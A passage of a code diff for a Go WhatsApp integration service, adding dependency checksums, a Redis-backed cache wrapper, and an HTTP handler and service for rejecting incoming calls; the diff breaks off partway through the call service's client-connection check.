+github.com/go-playground/validator/v10 v10.22.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM=
+github.com/goccy/go-json v0.10.3 h1:KZ5WoDbxAIgm2HNbYckL0se1fHD6rz5j4ywS6ebzDqA=
+github.com/goccy/go-json v0.10.3/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
+github.com/gomessguii/logger v0.0.3 h1:985MqDkp2Fi6IQ3eQ3NG7VXZo8flbWd+6QUj9hASWJA=
+github.com/gomessguii/logger v0.0.3/go.mod h1:JBfDf2h4qUFaIjpE/0T4/jeLpIHopc73k+G9+iu9+ms=
+github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
+github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
+github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
+github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
+github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
+github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
+github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
+github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
+github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ=
+github.com/jinzhu/now v1.1.5/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
+github.com/joho/godotenv v1.5.1 h1:7eLL/+HRGLY0ldzfGMeQkb7vMd0as4CfYvUVzLqw0N0=
+github.com/joho/godotenv v1.5.1/go.mod h1:f4LDr5Voq0i2e/R5DDNOoa2zzDfwtkZa6DnEwAbqwq4=
+github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=
+github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
+github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
+github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
+github.com/klauspost/compress v1.17.11 h1:In6xLpyWOi1+C7tXUUWv2ot1QvBjxevKAaI6IXrJmUc=
+github.com/klauspost/compress v1.17.11/go.mod h1:pMDklpSncoRMuLFrf1W9Ss9KT+0rH90U12bZKk7uwG0=
+github.com/klauspost/cpuid/v2 v2.0.1/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg=
+github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg=
+github.com/klauspost/cpuid/v2 v2.2.10 h1:tBs3QSyvjDyFTq3uoc/9xFpCuOsJQFNPiAhYdw2skhE=
+github.com/klauspost/cpuid/v2 v2.2.10/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0=
+github.com/knz/go-libedit v1.10.1/go.mod h1:MZTVkCWyz0oBc7JOWP3wNAzd002ZbM/5hgShxwh4x8M=
+github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
+github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
+github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
+github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
+github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ=
+github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI=
+github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw=
+github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
+github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
+github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
+github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE=
+github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8=
+github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
+github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
+github.com/mattn/go-sqlite3 v1.14.45 h1:6KA/spDguL3KV8rnybG7ezSaE4SeMR3KC9VbUoAQaIk=
+github.com/mattn/go-sqlite3 v1.14.45/go.mod h1:pjEuOr8IwzLJP2MfGeTb0A35jauH+C2kbHKBr7yXKVQ=
+github.com/minio/md5-simd v1.1.2 h1:Gdi1DZK69+ZVMoNHRXJyNcxrMA4dSxoYHZSQbirFg34=
+github.com/minio/md5-simd v1.1.2/go.mod h1:MzdKDxYpY2BT9XQFocsiZf/NKVtR7nkE4RoEpN+20RM=
+github.com/minio/minio-go/v7 v7.0.80 h1:2mdUHXEykRdY/BigLt3Iuu1otL0JTogT0Nmltg0wujk=
+github.com/minio/minio-go/v7 v7.0.80/go.mod h1:84gmIilaX4zcvAWWzJ5Z1WI5axN+hAbM5w25xf8xvC0=
+github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
+github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
+github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
+github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
+github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
+github.com/nats-io/nats.go v1.39.0 h1:2/yg2JQjiYYKLwDuBzV0FbB2sIV+eFNkEevlRi4n9lI=
+github.com/nats-io/nats.go v1.39.0/go.mod h1:MgRb8oOdigA6cYpEPhXJuRVH6UE/V4jblJ2jQ27IXYM=
+github.com/nats-io/nkeys v0.4.9 h1:qe9Faq2Gxwi6RZnZMXfmGMZkg3afLLOtrU+gDZJ35b0=
+github.com/nats-io/nkeys v0.4.9/go.mod h1:jcMqs+FLG+W5YO36OX6wFIFcmpdAns+w1Wm6D3I/evE=
+github.com/nats-io/nuid v1.0.1 h1:5iA8DT8V7q8WK2EScv2padNa/rTESc1KdnPw4TC2paw=
+github.com/nats-io/nuid v1.0.1/go.mod h1:19wcPz3Ph3q0Jbyiqsd0kePYG7A95tJPxeL+1OSON2c=
+github.com/pelletier/go-toml/v2 v2.2.3 h1:YmeHyLY8mFWbdkNWwpr+qIL2bEqT0o95WSdkNHvL12M=
+github.com/pelletier/go-toml/v2 v2.2.3/go.mod h1:MfCQTFTvCcUyyvvwm1+G6H/jORL20Xlb6rzQu9GuUkc=
+github.com/petermattis/goid v0.0.0-20260330135022-df67b199bc81 h1:WDsQxOJDy0N1VRAjXLpi8sCEZRSGarLWQevDxpTBRrM=
+github.com/petermattis/goid v0.0.0-20260330135022-df67b199bc81/go.mod h1:pxMtw7cyUw6B2bRH0ZBANSPg+AoSud1I1iyJHI69jH4=
+github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
+github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/rabbitmq/amqp091-go v1.10.0 h1:STpn5XsHlHGcecLmMFCtg7mqq0RnD+zFr4uzukfVhBw=
+github.com/rabbitmq/amqp091-go v1.10.0/go.mod h1:Hy4jKW5kQART1u+JkDTF9YYOQUHXqMuhrgxOEeS7G4o=
+github.com/redis/go-redis/v9 v9.22.0 h1:laDvpYXTJtZLloinw1fA5Kqd6HAEH2XKxOkG/PDq2F0=
+github.com/redis/go-redis/v9 v9.22.0/go.mod h1:y2g0Wj8rQvuK0ELM+oxSudcLtC09JScs98I/X9gRWY4=
+github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8=
+github.com/rogpeppe/go-internal v1.12.0/go.mod h1:E+RYuTGaKKdloAfM02xzb0FW3Paa99yedzYV+kq4uf4=
+github.com/rs/xid v1.6.0 h1:fV591PaemRlL6JfRxGDEPl69wICngIQ3shQtzfy2gxU=
+github.com/rs/xid v1.6.0/go.mod h1:7XoLgs4eV+QndskICGsho+ADou8ySMSjJKDIan90Nz0=
+github.com/rs/zerolog v1.35.1 h1:m7xQeoiLIiV0BCEY4Hs+j2NG4Gp2o2KPKmhnnLiazKI=
+github.com/rs/zerolog v1.35.1/go.mod h1:EjML9kdfa/RMA7h/6z6pYmq1ykOuA8/mjWaEvGI+jcw=
+github.com/sergi/go-diff v1.3.1 h1:xkr+Oxo4BOQKmkn/B9eMK0g5Kg/983T9DqqPHwYqD+8=
+github.com/sergi/go-diff v1.3.1/go.mod h1:aMJSSKb2lpPvRNec0+w3fl7LP9IOFzdc9Pa4NFbPK1I=
+github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e h1:MRM5ITcdelLK2j1vwZ3Je0FKVCfqOLp5zO6trqMLYs0=
+github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e/go.mod h1:XV66xRDqSt+GTGFMVlhk3ULuV0y9ZmzeVGR4mloJI3M=
+github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
+github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
+github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
+github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
+github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
+github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
+github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
+github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
+github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
+github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
+github.com/swaggo/files v1.0.1 h1:J1bVJ4XHZNq0I46UU90611i9/YzdrF7x92oX1ig5IdE=
+github.com/swaggo/files v1.0.1/go.mod h1:0qXmMNH6sXNf+73t65aKeB+ApmgxdnkQzVTAj2uaMUg=
+github.com/swaggo/gin-swagger v1.6.0 h1:y8sxvQ3E20/RCyrXeFfg60r6H0Z+SwpTjMYsMm+zy8M=
+github.com/swaggo/gin-swagger v1.6.0/go.mod h1:BG00cCEy294xtVpyIAHG6+e2Qzj/xKlRdOqDkvq0uzo=
+github.com/swaggo/swag v1.16.3 h1:PnCYjPCah8FK4I26l2F/KQ4yz3sILcVUN3cTlBFA9Pg=
+github.com/swaggo/swag v1.16.3/go.mod h1:DImHIuOFXKpMFAQjcC7FG4m3Dg4+QuUgUzJmKjI/gRk=
+github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI=
+github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08=
+github.com/ugorji/go/codec v1.2.12 h1:9LC83zGrHhuUA9l16C9AHXAqEV/2wBQ4nkvumAE65EE=
+github.com/ugorji/go/codec v1.2.12/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg=
+github.com/vektah/gqlparser/v2 v2.5.27 h1:RHPD3JOplpk5mP5JGX8RKZkt2/Vwj/PZv0HxTdwFp0s=
+github.com/vektah/gqlparser/v2 v2.5.27/go.mod h1:D1/VCZtV3LPnQrcPBeR/q5jkSQIPti0uYCP/RI0gIeo=
+github.com/vincent-petithory/dataurl v1.0.0 h1:cXw+kPto8NLuJtlMsI152irrVw9fRDX8AbShPRpg2CI=
+github.com/vincent-petithory/dataurl v1.0.0/go.mod h1:FHafX5vmDzyP+1CQATJn7WFKc9CvnvxyvZy6I1MrG/U=
+github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
+github.com/zeebo/xxh3 v1.1.0 h1:s7DLGDK45Dyfg7++yxI0khrfwq9661w9EN78eP/UZVs=
+github.com/zeebo/xxh3 v1.1.0/go.mod h1:IisAie1LELR4xhVinxWS5+zf1lA4p0MW4T+w+W07F5s=
+go.mau.fi/libsignal v0.2.2 h1:QV+XdzQkm3x3aSG7FcqfGSZuFXz83pRZPBFaPygHbOU=
+go.mau.fi/libsignal v0.2.2/go.mod h1:CRlIQg2J8uYTfDFvNoO8/KcZjs5cey0vbc6oj/bssY0=
+go.mau.fi/util v0.9.10 h1:wzvz5iDHyqDXB8vgisD4d3SzucLXNM3iNY+1O1RoHtg=
+go.mau.fi/util v0.9.10/go.mod h1:YQOxySn+ZE3qSYqNxvyX7Yi3suA8YK17PS6QqBREW7A=
+go.mau.fi/whatsmeow v0.0.0-20260630180629-b572e5bcb92b h1:ZUk1ErarDNpnbosXR/MeOz2gkqA4S1bh8zjaSRj7N+Y=
+go.mau.fi/whatsmeow v0.0.0-20260630180629-b572e5bcb92b/go.mod h1:9dmNTYZ/1pHjPw/bz+azBsGjAkcrZbqzMrKcvG5bJ8U=
+go.uber.org/atomic v1.11.0 h1:ZvwS0R+56ePWxUNi+Atn9dWONBPp/AUETXlHW0DxSjE=
+go.uber.org/atomic v1.11.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0=
+go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
+go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
+golang.org/x/arch v0.10.0 h1:S3huipmSclq3PJMNe76NGwkBR504WFkQ5dhzWzP8ZW8=
+golang.org/x/arch v0.10.0/go.mod h1:FEVrYAQjsQXMVJ1nsMoVVXPZg6p2JE2mx8psSWTDQys=
+golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
+golang.org/x/crypto v0.53.0 h1:QZ4Muo8THX6CizN2vPPd5fBGHyogrdK9fG4wLPFUsto=
+golang.org/x/crypto v0.53.0/go.mod h1:DNLU434OwVakk9PzuwV8w62mAJpRJL3vsgcfp4Qnsio=
+golang.org/x/exp v0.0.0-20260611194520-c48552f49976 h1:X8Hz2ImujgbmetVuW+w2YkyZChE3cBpZi2P158rTG9M=
+golang.org/x/exp v0.0.0-20260611194520-c48552f49976/go.mod h1:vnf4pv9iKZXY58sQE1L86zmNWJ4159e1RkcWiLCkeEY=
+golang.org/x/image v0.0.0-20211028202545-6944b10bf410 h1:hTftEOvwiOq2+O8k2D5/Q7COC7k5Qcrgc2TFURJYnvQ=
+golang.org/x/image v0.0.0-20211028202545-6944b10bf410/go.mod h1:023OzeP/+EPmXeapQh35lcL3II3LrY8Ic+EFFKVhULM=
+golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
+golang.org/x/mod v0.37.0 h1:vF1DjpVEshcIqoEaauuHebaLk1O1forxjxBaVn884JQ=
+golang.org/x/mod v0.37.0/go.mod h1:m8S8VeM9r4dzDwjrKO0a1sZP3YjeMamRRlD+fmR2Q/0=
+golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
+golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
+golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
+golang.org/x/net v0.56.0 h1:Rw8j/hFzGvJUZwNBXnAtf5sVDVt+65SK2C7IxCxZt5o=
+golang.org/x/net v0.56.0/go.mod h1:D3Ku6r+V6JROoZK144D2XfMHFcMq/0zSfLelVTCFKec=
+golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.21.0 h1:HLII4xRRTtCRkxYp4HNFF0Js/Og6q2i++KXbg0gHCwM=
+golang.org/x/sync v0.21.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
+golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.46.0 h1:noSf2Fq6F8DBgS+LysIkx7rIExoNHJsxOAtPp4rthXw=
+golang.org/x/sys v0.46.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
+golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
+golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
+golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
+golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
+golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
+golang.org/x/text v0.38.0 h1:sXmwo9DwP3OK9EZ7PqAdaooSGozfl/3a6/xJcbzPRhE=
+golang.org/x/text v0.38.0/go.mod h1:YXZt3QhHUKYT53r2lLKFIVi6Ao1jdzrTR/KQ09qyxF4=
+golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
+golang.org/x/tools v0.46.0 h1:7jTurBkPZu4moS/Uy4OQT1M+QBlsj3wejyZwsT8Z7rk=
+golang.org/x/tools v0.46.0/go.mod h1:FrD85F8l+NWL+9XWBSyVSHO6Ne4jutsfIFba7AWQ5Ys=
+golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
+google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
+gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
+gopkg.in/natefinch/lumberjack.v2 v2.2.1 h1:bBRl1b0OH9s/DuPhuXpNl+VtCaJXFZ5/uEFST95x9zc=
+gopkg.in/natefinch/lumberjack.v2 v2.2.1/go.mod h1:YD8tP3GAjkrDg1eZH7EGmyESg/lsYskCTPBJVb9jqSc=
+gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
+gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+gorm.io/gorm v1.25.10 h1:dQpO+33KalOA+aFYGlK+EfxcI5MbO7EP2yYygwh9h+s=
+gorm.io/gorm v1.25.10/go.mod h1:hbnx/Oo0ChWMn1BIhpy1oYozzpM15i4YPuHDmfYtwg8=
+nullprogram.com/x/optparse v1.0.0/go.mod h1:KdyPE+Igbe0jQUrVfMqDMeJQIJZEuyV7pjYmp6pbG50=

whatsapp-service/pkg/cache/redis.go

@@ -0,0 +1,64 @@
+// Package cache provides a Redis-backed cache with a small API mirroring the
+// in-memory cache it replaces (userInfoCache, processedMessages).
+package cache
+
+import (
+	"context"
+	"encoding/json"
+	"time"
+
+	"github.com/redis/go-redis/v9"
+)
+
+// Cache wraps a go-redis client for key/value storage with TTL.
+type Cache struct {
+	rdb *redis.Client
+	ctx context.Context
+}
+
+// New creates a Cache backed by the given Redis client.
+func New(rdb *redis.Client) *Cache {
+	return &Cache{rdb: rdb, ctx: context.Background()}
+}
+
+// Set stores a value under key with an optional TTL (0 = no expiration).
+func (c *Cache) Set(key string, value interface{}, ttl time.Duration) error {
+	b, err := json.Marshal(value)
+	if err != nil {
+		return err
+	}
+	return c.rdb.Set(c.ctx, key, b, ttl).Err()
+}
+
+// Get returns (value, true) if key exists, decoding into out.
+func (c *Cache) Get(key string, out interface{}) (bool, error) {
+	data, err := c.rdb.Get(c.ctx, key).Bytes()
+	if err != nil {
+		if err == redis.Nil {
+			return false, nil
+		}
+		return false, err
+	}
+	if out == nil {
+		return true, nil
+	}
+	if err := json.Unmarshal(data, out); err != nil {
+		return false, err
+	}
+	return true, nil
+}
+
+// Delete removes a key.
+func (c *Cache) Delete(key string) error {
+	return c.rdb.Del(c.ctx, key).Err()
+}
+
+// SetNX atomically sets a key only if it does not already exist.
+// Returns true when the key was newly created.
+func (c *Cache) SetNX(key string, value interface{}, ttl time.Duration) (bool, error) {
+	b, err := json.Marshal(value)
+	if err != nil {
+		return false, err
+	}
+	return c.rdb.SetNX(c.ctx, key, b, ttl).Result()
+}

whatsapp-service/pkg/call/handler/call_handler.go

@@ -0,0 +1,60 @@
+package call_handler
+
+import (
+	"net/http"
+
+	call_service "agentdeck-whatsapp-service/pkg/call/service"
+	instance_model "agentdeck-whatsapp-service/pkg/instance/model"
+	"github.com/gin-gonic/gin"
+)
+
+type CallHandler interface {
+	RejectCall(ctx *gin.Context)
+}
+
+type callHandler struct {
+	callService call_service.CallService
+}
+
+// Reject call
+// @Summary Reject call
+// @Description Reject call
+// @Tags Call
+// @Accept json
+// @Produce json
+// @Param message body call_service.RejectCallStruct true "Call data"
+// @Success 200 {object} gin.H "success"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /call/reject [post]
+func (g *callHandler) RejectCall(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *call_service.RejectCallStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	err = g.callService.RejectCall(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success"})
+}
+
+func NewCallHandler(
+	callService call_service.CallService,
+) CallHandler {
+	return &callHandler{
+		callService: callService,
+	}
+}

whatsapp-service/pkg/call/service/call_service.go

@@ -0,0 +1,95 @@
+package call_service
+
+import (
+	"context"
+	"errors"
+	"time"
+
+	instance_model "agentdeck-whatsapp-service/pkg/instance/model"
+	logger_wrapper "agentdeck-whatsapp-service/pkg/logger"
+	whatsmeow_service "agentdeck-whatsapp-service/pkg/whatsmeow/service"
+	"github.com/gomessguii/logger"
+	"go.mau.fi/whatsmeow"
+	"go.mau.fi/whatsmeow/types"
+)
+
+type CallService interface {
+	RejectCall(data *RejectCallStruct, instance *instance_model.Instance) error
+}
+
+type callService struct {
+	clientPointer    map[string]*whatsmeow.Client
+	whatsmeowService whatsmeow_service.WhatsmeowService
+	loggerWrapper    *logger_wrapper.LoggerManager
+}
+
+type RejectCallStruct struct {
+	CallCreator types.JID `json:"callCreator"`
+	CallID      string    `json:"callId"`
+}
+
+func (c *callService) ensureClientConnected(instanceId string) (*whatsmeow.Client, error) {
+	client := c.clientPointer[instanceId]
+	c.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Checking client connection status - Client exists: %v", instanceId, client != nil)
+
+	if client == nil {
+		c.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] No client found, attempting to start new instance", instanceId)
+		err := c.whatsmeowService.StartInstance(instanceId)
+		if err != nil {
+			c.loggerWrapper.GetLogger(instanceId).LogError("[%s] Failed to start instance: %v", instanceId, err)
+			return nil, errors.New("no active session found")
+		}
+
+		c.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Instance started, waiting 2 seconds...", instanceId)
+		time.Sleep(2 * time.Second)
+
+		client = c.clientPointer[instanceId]
